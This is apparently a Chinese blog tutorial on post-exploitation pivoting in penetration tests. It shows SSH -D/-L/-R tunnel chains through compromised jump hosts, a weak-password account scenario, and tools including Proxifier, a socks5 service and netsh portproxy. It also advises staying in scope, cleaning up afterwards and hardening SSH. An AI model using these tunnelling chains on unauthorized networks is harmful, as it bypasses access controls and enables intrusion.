背景
能夠成功地通過web漏洞獲取到webshell,對于一次完整的滲透測試來說,僅僅相當于萬里長征的第一步。這么說,可能比較夸張吧,并不是所有滲透測試都會遇到幾百臺機器的大內網。
在PTES(滲透測試執行標準)中,把滲透測試分成了七個主要的過程,也就是說現在通常說的前期交互、目標識別、信息收集、漏洞分析、漏洞利用、后滲透測試、報告編制這七大步驟。如果你看過PTES標準,你應該會跟我有一樣的感覺,后滲透測試部分的內容,幾乎等于其他六個部分的總和。當然,也只是在系統規模達到一定程度的時候,才會明顯的感覺出來。
小生雖然離開了安全工程師的崗位,還是偶爾會遇到小年輕們拿到shell之后就不知道該干嘛了。寫了個報告交給客戶,草草結束了一個項目(這也是目前滲透測試服務的一個弊病,大部分的滲透測試都以Getshell為主要指標,能getshell,基本上已經宣告滲透測試結束了)。內網中,如何打開一個穩定、可靠的數據通道,對后續的測試工作起到非常重要的作用。這里分享一些我在之前滲透測試中常用的方式。在造成最小影響的情況下,構建穩定的內網代理通道。
其實并沒有什么新奇的工具。我相信有很多我沒都還沒見識過的工具,不少坊間流傳的遠控工具功能強大,也非常易于使用。對于我這種,至今還在使用初版菜刀的“學院派”來說,最基礎的工具,往往是最可靠的。
第一個工具:SSH(別急著噴,先看完)
SSH在滲透測試中往往扮演了非常重要的角色。一方面,幾乎所有的Linux/Unix服務器和網絡設備都支持SSH協議。另一方面,SSH是最常用的遠程管理協議,網絡層面的訪問控制協議,往往會為SSH網開一面。很多管理員為了便于管理,都會開放SSH遠程管理,總不能每次一出問題就直奔機房吧。SSH本身是安全的,但是安全的通道,同樣會在網絡攻擊中被利用。
SSH最簡單的命令行格式如下:
使用-p指定目標服務器上的ssh端口
ssh [email protected] -p 2222
或者用下面的形式:
ssh [email protected]:2222
使用-N建立靜默連接(建立了連接,但是你看不到會話,這個選項不是所有的ssh都支持,具體看情況)
ssh -N [email protected]:2222
使用-f對ssh進行后臺執行,這個選項會把ssh轉入后臺,即使用戶登出,ssh會話也不會終端,除非超時。
ssh -f [email protected]:2222
只要在本地設置一下代理端口就可以使用了。估計不少同學也是用過類似的方式去訪問某些“不可描述”的網站。
SSH的隧道,說得通俗一些,其實就是端口映射,或者叫端口轉發。
SSH一共支持三種隱射方式:
動態映射(使用-D選項,前面說的就是這種方式)。原理圖如下:
ssh -D 8080 [email protected]
這個命令行會在本機上監聽8080端口,成為一個sock5代理,只要簡單設定一下代理,就可以以192.168.201.100作為代理服務器傳送流量了。
本地映射(使用-L選項),將遠端服務器的端口,隱射到本地。原理圖如下:
ssh -L 8080(本地端口):192.168.201.101(目標主機):3306(目標端口) [email protected](跳板機)
以SSH Server 為跳板,將Target Host的端口,映射到本地服務器上。這時候,你訪問本地的8080端口,實際訪問的,就是Target Host的3306了。
前提:SSH Server必須要能通過ssh夠登陸到Target Host上去。
場景:SSH Server和Target Host都在內網,但是外部機器只能訪問到SSH Server,而無法直接對Target Host做任何請求的時候。
遠端映射(使用-R選項),將一個遠端服務器的端口,隱射到另一個遠端服務器。
ssh -R 3307:192.168.202.244:3306 [email protected]
這個時候,執行這條命令的主機,就成為跳板機。
前提:執行這條命令的主機,必須同時能夠訪問SSH Server和Target Server。
場景:SSH Server在外部,跳板機在內網,Target Host和跳板機同網段但無法直接從互聯網訪問到,或者Target Host處在更深層的內網。
實際上,本地映射、遠端映射和動態隱射都可以靈活應用,跳板機、目標主機的角色是可以互相轉換的。
假設滲透測試中的一個場景如下:
假設,每一臺服務器你都知道至少一個賬戶的密碼,這里假設內網的服務器上都有一個弱口令的oracle賬戶。
測試人員 | 公網跳板機 | 內網跳板機1號 | 內網跳板機2號 | 目標主機 |
192.168.100.1 公司內網 |
218.2.135.2 虛擬主機 具備獨立的公網IP |
233.33.33.33 已Getshell 不能從外部直接登陸 但可以訪問互聯網 |
192.168.100.100 內網主機 不能訪問互聯網 可以被跳板1號訪問 |
10.10.10.2 核心服務器 可被跳板機2號訪問 能夠訪問核心區域 |
第一步:登陸公網跳板機
第二步:把218.2.135.2的公鑰,添加到跳板機1號的信任列表中。
公鑰信息,在你本地的~/.ssh/know_hosts里面可以找到
形如:
218.2.135.2 ssh-rsa AAAAB3NzaC1y**************************************************************************************************************************************************************************************************************************7/WggmJ4OYMJp0OnKQ==
對應的,跳板機1號上你要添加到對應賬戶的~/.ssh/known_hosts文件中。
因為ssh初次登陸一臺主機的時候,會詢問用戶,是否信任該主機。而且,如果同一個ip,其公鑰與此前登陸時記錄的公鑰不必配,是無法登陸的,所以需要進行這個操作。
第三部:映射跳板機2號的ssh端口,到公網跳板機上(在跳板機1號的webshell中執行)
ssh -f -N -R 2222:218.2.135.2:22 [email protected]
圖解:
第四部:登陸到跳板機2號上
ssh oracle@localhost:2222
因為上一步已經將跳板機2號的22端口映射到公網跳板機上去了,這時候可以直接登陸。
(注,公網跳板機也要做好防護,映射出去的端口,很有可能被掃描或者攻擊,這個時候實際上被掃描的就是內網的服務器,我們不希望這種事情發生,這個時候就應當限制,2222端口只能被本地訪問)
第五部,在跳板機2號上繼續創建動態隱射
ssh -f -N -D 192.168.100.100:7777 [email protected]
圖解:
滲透測試中有很多變數,不能一竿子打死,只映射特定的一個端口(比如1521)。最后一跳,個人建議以動態映射的方式,這樣可以保證后續的其他測試工作也能順利進行。但如果甲方對滲透測試有特定的需求,請務必按照甲方要求的方式進行。(比如,甲方不希望你訪問除10.10.10.2之外的任意服務器,那么最后一跳就做一個本地隱射就可以了)
第六部:在跳板機1號上執行
ssh -f -N -R 7777:218.2.135.2:7777 [email protected]
最終,打開了一個直通內網核心的SSH隧道。
只要配置代理,sock5://218.2.135.2:7777,就可以使用瀏覽器或者數據庫終端或者其他工具,來進行更深入的測試。
(我自己都覺得好煩的說…..)
你發送的流量,在公網跳板機上,跳板機2號上,目標主機上都會進行解密和重新加密的工作,所以效率會低很多(有點類似于洋蔥路由了)。一般的手工測試或者文件傳輸沒有太大問題,但是這個隧道一般無法支撐Namp或者WVS之類快速發包的工具。
如果你覺得這些操作太過于繁瑣,不妨試試SSH Tunnel(僅限Mac,非常值得花錢買的一個軟件)。windows的話,還是一行一行敲命令吧。
第二個工具,Proxifier
其實我并不是很喜歡這個工具,雖然功能強大。個人感覺配置Proxifier比配置防火墻還麻煩,所以用的很少。
在Proxies中添加你的代理服務器,可以配置多個代理,支持Socks4/5,HTTPS和HTTP代理。
看到下面的ProxyChains了么?這是它非常強大的一個功能。
其次是配置代理規則,
規則中可以詳細指定,什么應用,訪問什么站點的時候,使用哪一條代理鏈路。
在滲透測試的時候,這樣的多鏈路代理會有比較大的用處。
切記,隧道和多鏈路代理本身已經打破了信息系統中固有的訪問控制策略,如果你不能保證你自己的環境是否安全,請不要給客戶增加額外的麻煩。
注:Proxifier跟VMware Workstation在功能上有沖突,如果安裝了Proxifier,VM的虛擬機共享功能就無法使用。我之前遇到這個問題,蛋疼地把系統都重裝好幾次才意識到它倆有沖突。
第三個工具,SSH Proxy
算是SSH Tunnel的姊妹,同一個開發者,也是只有Mac下才有的工具。一般兩者配合使用,基本上可以不用Proxifier了。它其實就做做了一個SSH的動態隱射而已。
配置好本地的映射端口,代理的服務器和對應的身份驗證信息就可以了。
SSH Proxy的白名單功能比較好用,如果只需要對特定的站點或IP地址進行代理,就把IP地址添加到白名單里就可以了。但相比Proxifier,就沒有的ProxyChains功能和多鏈路代理功能。
忠告:不建議使用SSH隧道出墻,因為流量特征明顯,非常容易被屏蔽。
第四個工具,windows專用的sock5代理工具。
這個工具很小,可以使用命令行方式安裝,可以在系統中注冊成一個服務,隨系統啟動。也可以使用下面的命令行來運行這個服務,監聽的端口是10086。
這個工具只有三個參數:
socks5.exe -i 安裝socks5代理服務
socks5.exe -d 刪除服務
socks5.exe -r 直接運行代理,不會注冊一個新的服務。
(為了避免測試結束之后就忘記了,建議還是用-r方式直接運行,使用完畢就kill掉這個進程)
詳細的使用介紹和源碼,請戳這里
第五個工具,netsh
我自己用得也不是很多,暫時還沒有好的案例可以分享,但是在內網中效果還是很不錯的。
命令行格式如下:
創建端口映射
netsh interface portproxy add v4tov4 listenaddress=192.168.100.100 listenport=8443 connectaddress=10.10.10.2 connectport=8443
刪除端口映射
netsh interface portproxy delete v4tov4 listenaddress=192.168.100.100 listenport=8443
查看當前所有的端口映射規則:
netsh interface portproxy show v4tov4
同樣的,如果你能夠在多臺服務器上創建端口轉發的鏈路,效果和ssh隧道幾乎是一樣的。
最后,滲透測試結束的時候,務必清除你創建的所有代理鏈路。畢竟,這些代理隧道已經打破了內網的訪問控制策略了。(使用-N 和 -f選項建立的SSH會話運行在后臺,只能kill掉對應的進程,但別kill錯了)
如果你用我的方式去修改了known_hosts文件,也要把對應的公鑰信息做清理。
小結:
隧道之所以能成功,前提是系統中訪問控制不足。如果系統中配置了SSH遠程管理的白名單,或者在ACL里限制特定的IP才能連接SSH,又或者系統完全使用帶外管理,那就得兩說了。
對于甲方來說,SSH固然是最常用的一種遠程管理工具,SSH本身安全性也可以保障。但一定要意識到,安全工具,往往也會淪為攻擊的重要手段。
如果沒有足夠的資源來建立帶外管理的網絡結構,內網中至少要限制SSH遠程登錄的地址和雙向的訪問控制策略(從外部到內部,從內部到外部)
切記,再牛逼的安全防護策略,也敵不過內網里遍地的弱口令。-_-|||
我身邊的很多人都用LCX,但是從業三年時間里,我自己還沒有成功地使用過這個工具,這里就不做介紹了。期待各位來做補充。